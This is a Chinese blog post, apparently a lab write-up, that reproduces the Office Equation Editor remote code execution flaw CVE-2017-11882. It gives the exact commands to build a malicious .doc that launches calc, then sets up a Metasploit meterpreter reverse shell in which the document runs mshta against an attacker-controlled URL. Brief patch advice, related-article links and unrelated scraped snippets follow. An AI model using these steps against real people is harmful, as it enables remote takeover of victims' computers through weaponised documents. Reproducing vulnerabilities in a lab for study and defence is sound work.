Preface

  这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下。

  利用脚本Github传送地址 ,后面的参考链接都有成功的比较详细的案例了。

  主要是要用到如图中的两个脚本,example文件夹中有个doc,应该直接打开就能弹计算器了。

影响版本

  • Office 365
  • Microsoft Office 2000
  • Microsoft Office 2003
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016

复现过程

国外最先发布的poc地址:https://github.com/embedi/CVE-2017-11882

这里我们使用的是Ridter师傅改进过的脚本:https://github.com/Ridter/CVE-2017-11882/

生成漏洞doc文件弹计算器

  生成漏洞doc文件,可以弹出计算器如下:(脚本在Github传送地址)

starnight:CVE-- starnight$ python Command_CVE--.py -c "cmd.exe /c calc.exe" -o test.doc
[*] Done ! output file >> test.doc <<

  用命令生成test.doc后,用Offcie 2013打开这个文件,可以看到在打开doc文件的时候,弹出计算器。

  除了可以弹计算器外,还能获取shell。

生成漏洞doc文件拿shell

  这里我们参考链接2,使用metasploit,将脚本PS_shell.rb放到metasploit exploit的某个路径下:

  我的kali下的metasploit所在路径是:/usr/share/metasploit-framework, 可以放在如下目录:(这里我们新创建一个new-exps目录存放这个脚本)

root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# pwd
/usr/share/metasploit-framework/modules/exploits/windows/new-exps
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# ls
PS_shell.rb

  这样在启动msf时就能直接使用了:

msf > use exploit/windows/new-exps/PS_shell

  漏洞利用过程:

msf > use exploit/windows/new-exps/PS_shell
msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(PS_shell) > set lhost 192.168.1.102
lhost => 192.168.1.102
msf exploit(PS_shell) > set uripath abc
uripath => abc
msf exploit(PS_shell) > exploit
[*] Exploit running as background job . [*] Started reverse TCP handler on 192.168.1.102:
msf exploit(PS_shell) > [*] Using URL: http://0.0.0.0:8080/abc
[*] Local IP: http://192.168.1.102:8080/abc
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.1.102:8080/abc"

  从上面可以看出,我们要连接到这个地址:http://192.168.1.102:8080/abc

  我们需要用上面那个脚本重新生成这样一个存在漏洞的doc文件:  

starnight:CVE-- starnight$ python Command_CVE--.py -c "mshta http://192.168.1.102:8080/abc" -o test.doc
[*] Done ! output file >> test.doc <<

  再用Office打开这个doc,就能拿到meterpreter了:

  OK, 利用过程就这样吧。(右键在新标签页中打开图片查看更清晰哦)

  更多手法请参考:

    CVE-2017-11882漏洞复现和利用

漏洞修复

()下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882  更新补丁进行修补

()开启Windows Update功能,定期对系统进行自动更新

参考

  CVE-2017-11882利用

  CVE-2017-11882的复现、利用技巧以及修复方案

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)的更多相关文章

  1. 漏洞复现-Office远程代码执行漏洞 (CVE-2017-11882&CVE-2018-0802)

    漏洞原理 这两个漏洞本质都是由Office默认安装的公式编辑器(EQNEDT32.EXE)引发的栈溢出漏洞(不要问什么是栈溢出,咱也解释不了/(ㄒoㄒ)/~~) 影响版本 Office 365 Mic ...

  2. Office远程代码执行漏洞CVE-2017-0199复现

    在刚刚结束的BlackHat2017黑帽大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是Office系列办公软件中的一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复 ...

  3. Office远程代码执行漏洞(CVE-2017-11882)复现

    昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...

  4. Office远程代码执行漏洞(CVE-2017-11882)

    POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文件. 网上看到的改进过的POC,我们直接拿来用,命令如下: #python ...

  5. 【漏洞复现】Office远程代码执行漏洞(CVE-2017-11882)

    昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...

  6. office远程代码执行(CVE-2017-11882)

    office远程代码执行(CVE-2017-11882) 影响版本: MicrosoftOffice 2000 MicrosoftOffice 2003 MicrosoftOffice 2007 Se ...

  7. Office CVE-2017-8570远程代码执行漏洞复现

    实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...

  8. PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)

    PHPMailer < 5.2.18 Remote Code Execution 本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经 ...

  9. Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

    Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现  一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...

随机推荐

  1. Zeppelin源码

    1.概述 在大数据应用场景中,处理数据分析方面,由于开发者的水平不一样,使用的编程语言也不尽相同,可能会涉及到R.Python.Java.Scala等,数据计算模型也估计不一样,可能涉及的有Spark ...

  2. 对象反序列化时,抛出java.io.StreamCorruptedException: invalid type code: AC异常

    问题描述:在使用java.io.ObjectInputStream类的readObject()方法去读取包含有序列化了多个(两个及两个以上)类的文件时,当读取到第二个类时,会抛出题目中提到的异常. 原 ...

  3. python学习之第三课时--基本数据类型及区别,变量

    基本数据类型及区别 1. 数字类型(int) 数字型--变量值直接是数字,没有双引号""   整数 2. 浮点数(float) 肤浅理解小数点后有有效数字  1.55  0.22 ...

  4. UWP 手绘视频创作工具技术分享系列 - 手绘视频导出

    手绘视频最终的生成物是视频文件,前面几篇主要讲的是手绘视频的创作部分,今天讲一下手绘视频的导出问题.主要以 UWP 为例,另外会介绍一些 Web 端遇到的问题和解决方法. 如上所述,手绘视频在创作后, ...

  5. python分布式环境下的限流器

    项目中用到了限流,受限于一些实现方式上的东西,手撕了一个简单的服务端限流器. 服务端限流和客户端限流的区别,简单来说就是: 1)服务端限流 对接口请求进行限流,限制的是单位时间内请求的数量,目的是通过 ...

  6. DNS over TLS到底有多牛?你想知道的都在这儿

    DNS over TLS,让电信.移动等各种ISP无法监视你的浏览轨迹...... SSL证书有助于客户端浏览器和网站服务器之间的加密连接. 这意味着在连接期间,所有的通信和活动都被遮蔽. 但通常意义 ...

  7. C#,COM口,接收,发送数据

    这里写一种,COM口的数据接收,发送方法. 1.COMHelper类 /// <summary>初始化串行端口</summary> private SerialPort _se ...

  8. 读书笔记-你不知道的JS上-对象

    好想要对象··· 函数的调用位置不同会造成this绑定对象不同.但是对象到底是什么,为什么要绑定他们呢?(可以可以,我也不太懂) 语法 对象声明有两个形式: 1.字面量 => var obj = ...

  9. Leetcode题解(十五)

    42.Trapping Rain Water 题目 这道题目参考http://www.cnblogs.com/felixfang/p/3713197.html 观察下就可以发现被水填满后的形状是先升后 ...

  10. POJ3468(线段树 区间修改 lazy-tag)

    我的线段树真的没救了......还是多练几道吧....... You have N integers, A1, A2, ... , AN. You need to deal with two kind ...